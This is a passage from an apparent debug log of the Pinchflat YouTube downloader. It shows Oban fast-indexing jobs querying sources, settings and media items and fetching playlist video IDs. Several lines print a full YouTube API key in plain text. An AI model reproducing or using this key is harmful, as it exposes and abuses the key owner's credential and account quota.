FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:57:30.787 [debug] QUERY OK source="tasks" db=0.1ms idle=169.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268359, 2, ~U[2026-10-09 21:57:30Z], ~U[2026-10-09 21:57:30Z]] 16:57:30.787 [info] {"args":{"id":2},"id":5268319,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":170975,"event":"job:stop","queue_time":609179,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:31.617 [info] {"args":{"id":22},"id":5268320,"meta":{},"system_time":1791583051617138745,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:31.617 [debug] QUERY OK source="sources" db=0.1ms idle=830.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:57:31.617 [debug] QUERY OK source="settings" db=0.0ms idle=830.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.617 [debug] QUERY OK source="media_profiles" db=0.1ms idle=824.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:31.617 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.617 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:57:31.618 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.618 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:31.920 [debug] QUERY OK source="media_items" db=0.5ms idle=302.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:57:31.921 [debug] QUERY OK source="media_items" db=0.3ms idle=303.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:57:31.922 [debug] QUERY OK source="tasks" db=0.1ms idle=304.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268360, 22, ~U[2026-10-09 21:57:31Z], ~U[2026-10-09 21:57:31Z]] 16:57:31.922 [info] {"args":{"id":22},"id":5268320,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":305189,"event":"job:stop","queue_time":598335,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:31.928 [info] {"args":{"id":10},"id":5268321,"meta":{},"system_time":1791583051928239683,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:31.928 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:57:31.928 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.929 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:31.929 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.929 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:57:31.929 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:31.929 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:32.217 [debug] QUERY OK source="media_items" db=0.6ms idle=287.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 16:57:32.220 [debug] QUERY OK source="media_items" db=2.9ms idle=288.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:57:32.221 [debug] QUERY OK source="tasks" db=0.1ms idle=291.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268361, 10, ~U[2026-10-09 21:57:32Z], ~U[2026-10-09 21:57:32Z]] 16:57:32.221 [info] {"args":{"id":10},"id":5268321,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":293130,"event":"job:stop","queue_time":691574,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:32.618 [info] {"args":{"id":4},"id":5268322,"meta":{},"system_time":1791583052618207600,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:32.618 [debug] QUERY OK source="sources" db=0.1ms idle=397.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:57:32.618 [debug] QUERY OK source="settings" db=0.0ms idle=396.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:32.618 [debug] QUERY OK source="media_profiles" db=0.1ms idle=391.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:32.618 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:32.618 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 16:57:32.619 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:32.619 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:32.738 [debug] QUERY OK source="media_items" db=0.5ms idle=119.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "Z26kN5VfyGA", "QIEdK8haaTw", "_Us6EeUP0_Q", "lpswjPZYXx4", "mmntN7zIekU", "nvk3Njj_X0c", "eHCjuUBXwSo", "459a7YBmBOE", "yE48_MN8Ng4", "du03jSbZwEw", "ZBJnX8_Fx_g", "bLYUD4IMvQI", "EKZZwowhDiY", "nelpE3tC4Ig", "wzn0T1qX5Ko", "fk8zF0xav-Q", "tSSwuvJzHFc", "TIKTzjdTD98", "XW5tm9vAh2M", "cSjYTb1zdkA", "jqH3z8OwUn8", "9uiXXCOmJyY", "YP9M8cYfn-4", "KbixzNLGW3Q", "rgZlzCd0DUU", "JSxgCEpkiKM", "GnOpIQJnYWU", "CogTK7K_YZ8", "LFYjgLqQ99A", "NfvxMBglQXo", "JJPA_iM8Hrs", "tCC0pt6XE3Q", "fUWjIPHuZxw", "JtUC7H0Q1JY", "uvYt1GgcsUI", "V7CnaT-BfSo", "e22vAVH_JtE", "RwlNKD4KOZM", "S4knv0ivcEU", "exwuRtM27BY", "bCZX7x_xDWE", "JR9uWwbZGbw", "ResVOM4BhiQ", "wi2a3GG0yIc", "ZYyLetNAydM", "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", ...] 16:57:32.739 [debug] QUERY OK source="media_items" db=0.4ms idle=120.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 16:57:32.740 [debug] QUERY OK source="tasks" db=0.1ms idle=121.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268362, 4, ~U[2026-10-09 21:57:32Z], ~U[2026-10-09 21:57:32Z]] 16:57:32.740 [info] {"args":{"id":4},"id":5268322,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":122105,"event":"job:stop","queue_time":588093,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:45.375 [info] {"source":"oban","duration":10092,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:57:54.640 [info] {"args":{"id":44},"id":5268323,"meta":{},"system_time":1791583074640661883,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:57:54.640 [debug] QUERY OK source="sources" db=0.1ms idle=293.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [44] 16:57:54.641 [debug] QUERY OK source="settings" db=0.0ms idle=294.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:54.641 [debug] QUERY OK source="media_profiles" db=0.1ms idle=294.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:57:54.641 [debug] QUERY OK source="settings" db=0.1ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:54.641 [debug] Fetching recent media IDs from YouTube API for playlist: UUqppg7votukolx20yh3H9kQ 16:57:54.641 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:57:54.641 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:57:54.786 [debug] QUERY OK source="media_items" db=0.4ms idle=145.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [44, "qfSDhNLiN_U", "_qzU0mb7Ubw", "QLNxc6g0pjo", "vwTIQlSCb4M", "pRUNSy_tFkM", "M5qGSZKeaMA", "EVq8Vskx_Dw", "iQJO80qA0Wk", "o8BzeOf-smA", "fiS-okUK7KE", "UIN2Q2u1A8o", "vSBr3WFxJhY", "9BepF3pfqTY", "4qt4YY8m6fg", "JYJoETDh4ZU", "2ASOQLFr7-M", "fx5N1fY3Fsg", "qWvRe1u0AL0", "Okhp89ilgaY", "c9NY88Hf1Ns", "so6XWjuMJCg", "ejPqAJ0dHwY"] 16:57:54.787 [debug] QUERY OK source="media_items" db=0.2ms idle=145.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 